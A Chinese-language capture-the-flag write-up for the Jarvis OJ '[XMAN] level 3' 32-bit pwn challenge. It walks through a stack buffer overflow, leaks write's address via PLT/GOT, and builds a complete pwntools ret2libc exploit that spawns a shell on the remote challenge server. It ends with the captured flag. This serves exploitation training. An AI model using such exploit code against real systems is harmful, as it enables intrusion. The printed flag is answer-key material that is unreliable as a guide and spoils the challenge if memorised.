一.[XMAN] level 3 32位

练习平台：https://www.jarvisoj.com/challenges

题目：[XMAN] level 3 32

```
zzw@ubuntu:~/Desktop/pwn/level3_32$ ./level3
Input:
gsjdgfj
Hello, World!
zzw@ubuntu:~/Desktop/pwn/level3_32$ file level3
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically li
nked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438
e03b4d2c1abead90f748a4b5500b7a04c7, not stripped
zzw@ubuntu:~/Desktop/pwn/level3_32$
```

题目同时还提供了libc.so库

二.IDA分析

2.1 查看程序逻辑

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}
```

- 溢出存在

```
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}
```

- 没有bin/sh字符串

Address	Length	Type	String
LOAD:080…	00000013	C	/lib/ld-linux.so.2
LOAD:080…	0000000A	C	libc.so.6
LOAD:080…	0000000F	C	_IO_stdin_used
LOAD:080…	00000005	C	read
LOAD:080…	00000012	C	__libc_start_main
LOAD:080…	00000006	C	write
LOAD:080…	0000000F	C	__gmon_start__
LOAD:080…	0000000A	C	GLIBC_2.0
.rodata:…	00000008	C	Input:\n
.rodata:…	0000000F	C	Hello, World!\n
.eh_fram…	00000005	C	;*2$\"

- 没有system函数

Name	Address	Ordinal
__libc_csu_fini	08048520	
__x86.get_pc_thunk.bx	08048380	
.term_proc	08048524	
vulnerable_function	0804844B	
__dso_handle	0804A020	
_IO_stdin_used	0804853C	
__libc_csu_init	080484C0	
_start	08048350	[main ent…
_fp_hw	08048538	
main	08048484	
.init_proc	080482D0	
__data_start	0804A01C	
__bss_start	0804A024	

2.2 安全机制

```
zzw@ubuntu:~/Desktop/pwn/level3_32$ checksec level3
[*] '/home/zzw/Desktop/pwn/level3_32/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
zzw@ubuntu:~/Desktop/pwn/level3_32$
```

地址未伪随机化

堆栈不可执行

Partial RELRO： 在这种模式下，一些段 (包括.dynamic) 在初始化后将会被标识为只读。
Full RELRO： 在这种模式下，除了会开启部分保护外。惰性解析会被禁用（所有的导入符号将在开始时被解析，.got.plt 段会被完全初始化为目标函数的终地址，并被标记为只读）。此外，既然惰性解析被禁用，GOT[1] 与 GOT[2] 条目将不会被初始化为提到的值。

2.3 题解分析

可利用条件：

1. 地址未随机化，地址固定
2. 溢出点存在，返回地址可控
3. 提供有libc,可以从中获取system地址和binsh地址。

可以使用常见的Reuturn to libc编程。

泄露system的真实地址

知识点1： 函数中的地址和libc基地址的偏移是固定的。

system 函数属于 libc，而 libc.so 动态链接库中的函数之间相对偏移是固定的，也就是说要找基地址，因为公式：A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址

所以如果想获取system地址，就可以通过write函数进行计算。

获取write函数的真实地址

这事就可以利用linux下函数地址的延时绑定机制，plt表和got表的相关知识。

got表中保存着函数的真实地址。函数运行时，会首先运行到plt中，然后进而跳转到got表中。这样程序就得到了函数的真实地址。

这里我们就可以使用write函数，利用plt和got的跳转，将system函数的真实地址打印出来。


```
from pwn import *
from LibcSearcher import *
pro=remote("pwn2.jarvisoj.com",9879)
elf=ELF('./level3')
libc=ELF('./libc-2.19.so')
pro.recv(1024)
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
print("the address of main is------->",hex(main_addr))
shellcode= flat(['a'*
(0x88+4),p32(write_plt),p32(main_addr),p32(1),p32(write_got),p32(4)])
pro.send(shellcode)
write_addr=u32(pro.recv(4))
print("the address of write is ---------> ",hex(write_addr))
```

其次就可以使用偏移进行获取system函数的地址

```
system_addr=write_addr-libc.symbols['write']+libc.symbols['system']
print("the address of system is ---------> ",hex(system_addr))
```

获取bin/sh地址

libc这种搜索bin_sh的方法很多

```
lib=LibcSearcher('write',write_addr)
binsh=lib.dump('str_bin_sh')
print("the address of bin/sh is ---------> ",hex(binsh))
bin_sh=write_addr-libc.symbols['write']+0x162d4c
print("the address of bin/sh is ---------> ",hex(bin_sh))
```

poc构造

```
from pwn import *
from LibcSearcher import *
pro=remote("pwn2.jarvisoj.com",9879)
elf=ELF('./level3')
libc=ELF('./libc-2.19.so')
pro.recv(1024)
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
print("the address of main is------->",hex(main_addr))
shellcode= flat(['a'*
(0x88+4),p32(write_plt),p32(main_addr),p32(1),p32(write_got),p32(4)])
pro.send(shellcode)
write_addr=u32(pro.recv(4))
print("the address of write is ---------> ",hex(write_addr))

system_addr=write_addr-libc.symbols['write']+libc.symbols['system']
print("the address of system is ---------> ",hex(system_addr))

lib=LibcSearcher('write',write_addr)
binsh=lib.dump('str_bin_sh')
print("the address of bin/sh is ---------> ",hex(binsh))
bin_sh=write_addr-libc.symbols['write']+0x162d4c
print("the address of bin/sh is ---------> ",hex(bin_sh))

payload=flat(['a'*(0x88+4),p32(system_addr),p32(0x8048484),p32(bin_sh)])
pro.send(payload)

pro.interactive()
pro.close()
```

```
[*] '/home/zzw/Desktop/pwn/level3_32/libc-2.19.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
the address of main is-------> 0x8048484
the address of write is --------->  0xf7e60460
the address of system is --------->  0xf7dc3310
[+] There are multiple libc that meet current constraints :
0 - libc6_2.7-10ubuntu8.3_i386
1 - libc6_2.19-0ubuntu6.15_i386
2 - libc-2.22-25.mga6.i586_2
[+] Choose one : 1
the address of bin/sh is --------->  0x162d4c
the address of bin/sh is --------->  0xf7ee5d4c
[*] Switching to interactive mode
Input:
$ cat flag
CTF{d85346df5770f56f69025bc3f5f1d3d0}
```

CTF{d85346df5770f56f69025bc3f5f1d3d0}